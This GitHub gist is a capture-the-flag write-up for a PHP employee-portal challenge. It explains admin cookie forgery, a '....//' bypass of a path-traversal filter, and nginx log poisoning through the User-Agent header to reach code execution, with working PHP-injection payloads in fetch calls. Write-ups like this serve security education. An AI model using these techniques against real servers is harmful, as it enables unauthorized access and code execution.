Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ky28059/55b783ecf750b20dfd3d58cf58530ecd to your computer and use it in GitHub Desktop.
Save ky28059/55b783ecf750b20dfd3d58cf58530ecd to your computer and use it in GitHub Desktop.

Hack the Madness CTF Round 2 — broken production

Our PHP devs are working on this employee management portal. We have a mock build of the website and you are to pentest the platform for weaknesses. Your goal is to get more privileges and command execution on the server.

We're given a PHP server that looks like this:

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

$session  = new SessionHandler();
$database = new Database('/tmp/challenge.db');

$router = new Router();
$router->new('GET', '/', function($router) use ($session){
    if (!$session->isLoggedIn()) 
    {
        return header('location: /login');
    }

    return $router->view('index', ['admin' => $session->isAdmin(), 'username' => $session->getUsername()]);
});

$router->new('GET', '/login', function($router)  use ($session){
    if ($session->isLoggedIn()) 
    {
        return header('location: /');
    }

    return $router->view('login');
});

$router->new('GET', '/register', function($router)  use ($session){
    if ($session->isLoggedIn()) 
    {
        return header('location: /');
    }

    return $router->view('register');
});

$router->new('POST', '/auth/login', function($router) use ($database, $session){
    $user = $database->login($_POST['username'], $_POST['password']);
    if (!$user) return header('location: /login?msg=Invalid username or password!');
    $session->login($_POST['username']);
    header('location: /');
    exit;
});

$router->new('POST', '/auth/register', function($router)  use ($database){
    if ($_POST['username'] === 'admin') return header('location: /register?msg=This user already exists!');
    $database->register($_POST['username'], $_POST['password']);
    header('location: /login?msg=The account registered successfully!&reg=true');
    exit;
});


$router->new('GET', '/logout', function($router)  use ($session){
    
    $session->distroy();
    return header('location: /login');
    
});


die($router->match());

Looking in views/index.php and SessionHandler.php,

<?php if ($admin){
		include_once "admin.php";
	} else{
		include_once "user.php";
	}
?>
<?php
class SessionHandler
{
    public function __construct()
    {
        if (!empty($_COOKIE['PHPSESSID'])){
            $this->cookie = $_COOKIE['PHPSESSID'];
            $this->load();
        }
    }

    public function login($username)
    {
        setcookie('PHPSESSID', base64_encode(json_encode([
            'username' => $username
        ])), time()+1333337, '/');
    }

    public function load()
    {
        $this->data = json_decode(base64_decode($this->cookie));
    }

    public function isLoggedIn()
    {
        return !is_null($this->data->username);
    }

    public function isAdmin()
    {
        return $this->data->username === 'admin';
    }

    public function getUsername()
    {
        return $this->data->username;
    }

    public function distroy()
    {
        unset($_COOKIE['PHPSESSID']);
        setcookie('PHPSESSID', '', time() - 3600, '/');
    }
}

it seems we can pretty easily log in as admin by base64 encoding the string {"username":"admin"}, e.g. something like

ewogICJ1c2VybmFtZSI6ICJhZG1pbiIKfQ

Replacing our PHPSESSID cookie with that, we get to the admin dashboard:

image

Looking at the admin view,

<?php

$utilFile = "tickets.php";

if (isset($_GET['util']))
	$utilFile = $_GET['util'];
	$utilFile = str_replace("../","", $utilFile);

$fullPath = '/www/utils/'.$utilFile;

?>
<!DOCTYPE html>
<html lang="en">
<head>
	<title>Broken Production</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- ... -->
</head>
<body>
	
	<body>
    <div id="wrapper">
        <!-- Sidebar -->
        <div id="sidebar-wrapper">
            <ul class="sidebar-nav">
                <li class="sidebar-brand">
                    <a href="#">
                        Admin Dashboard (Under Construction)
                    </a>
                </li>
                <div class="profile-sidebar">
                    <!-- SIDEBAR USERPIC -->
                    <div class="profile-userpic">
                        <img src="/static/images/makelaris.png" class="img-responsive" alt="">
                    </div>
                    <!-- END SIDEBAR USERPIC -->
                    <!-- SIDEBAR USER TITLE -->
                    <div class="profile-usertitle">
                        <div class="profile-usertitle-name">
                            <?php echo $username ?>
                        </div>
                        <div class="profile-usertitle-job">
                            Administrator
                        </div>
                    </div>
                    <!-- END SIDEBAR USER TITLE -->
                    <!-- SIDEBAR BUTTONS -->
                    <div class="profile-userbuttons">
                        <a href="/logout" class="btn btn-danger btn-xs">Log Out</a>
                    </div>
                </div>
            </ul>
        </div>
        <!-- /#sidebar-wrapper -->

        <!-- Page Content -->
        <div id="page-content-wrapper">

            <div class="container-fluid">
                <div class="row text-right mb-4">
	                <div class="col">
	                    <select class="custom-select" id="gotoPage">
	                    	<?php 
	                    		echo "<option value='$utilFile' selected='true'>$utilFile</option>";

	                    		$pages = array("logs.php", "tickets.php", "todo.php");
	                    		foreach ($pages as $page){
	                    			if($page != $utilFile){
	                    				echo "<option value='$page'>$page</option>";
	                    			}
	                    		}
	                    	?>
						</select>  
	                </div>    
	            </div>

                <div class="manage-box">
                	<?php include_once($fullPath); ?>
                </div>
            </div>
        </div>
        <!-- /#page-content-wrapper -->

    </div>
</body>
<!-- ... -->

</html>

it looks like we get local file inclusion, but with path traversal blocked by a str_replace.

However, we can very easily get around this filter by passing a query param such as ....//....//etc/passwd: the script will delete every instance of ../, leaving us with a file inclusion of /var/www/../../etc/passwd.

We still can't directly include the flag, though; looking at the dockerfile, the flag file's name is randomly generated at build time.

FROM alpine:edge

# Setup usr
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www

# Install system packages
RUN apk add --no-cache --update supervisor nginx php7-fpm php7-sqlite3 php7-json

# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf

# Copy challenge files
COPY challenge /www

# Copy flag
RUN RND=$(echo $RANDOM | md5sum | head -c 15) && \
	echo "HTB{f4k3_fl4g_f0r_t3st1ng}" > /flag_${RND}.txt

# Setup permissions
RUN chown -R www:www /var/lib/nginx

# Expose the port nginx is listening on
EXPOSE 80

CMD /usr/bin/supervisord -c /etc/supervisord.conf

Then, we can try to get RCE instead. Looking at the nginx config, we can see that the server logs requests to /var/log/nginx/access.log:

user www;
pid /run/nginx.pid;
error_log /dev/stderr info;

events {
    worker_connections 1024;
}

http {
    server_tokens off;
    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
    access_log /var/log/nginx/access.log docker;

    charset utf-8;
    keepalive_timeout 20s;
    sendfile on;
    tcp_nopush on;
    client_max_body_size 1M;

    include /etc/nginx/mime.types;

    server {
        listen 80;
        server_name _;

        index index.php;
        root /www;

        location / {
            try_files $uri $uri/ /index.php?$query_string;
            location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/run/php-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;
            }
        }
    }
}

(indeed, one of the tabs in the admin dashboard lets you view this file directly:)

image

Thus, we can write arbitrary PHP code to the log file by manipulating the HTTP user agent, and then include this file via LFI for RCE:

await (await fetch('http://94.237.53.57:54572/', {
    headers: { 'User-Agent': '<?php phpinfo(); ?>' }
})).text()

(which requires Firefox, since Chromium disallows setting a custom user agent in fetch).

image

We can use the RCE to give us the flag file name with e.g.

await (await fetch(window.location, {
    headers: { 'User-Agent': '<?php echo `ls /`; ?>' }
})).text() 

and include it with LFI to get the flag:

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment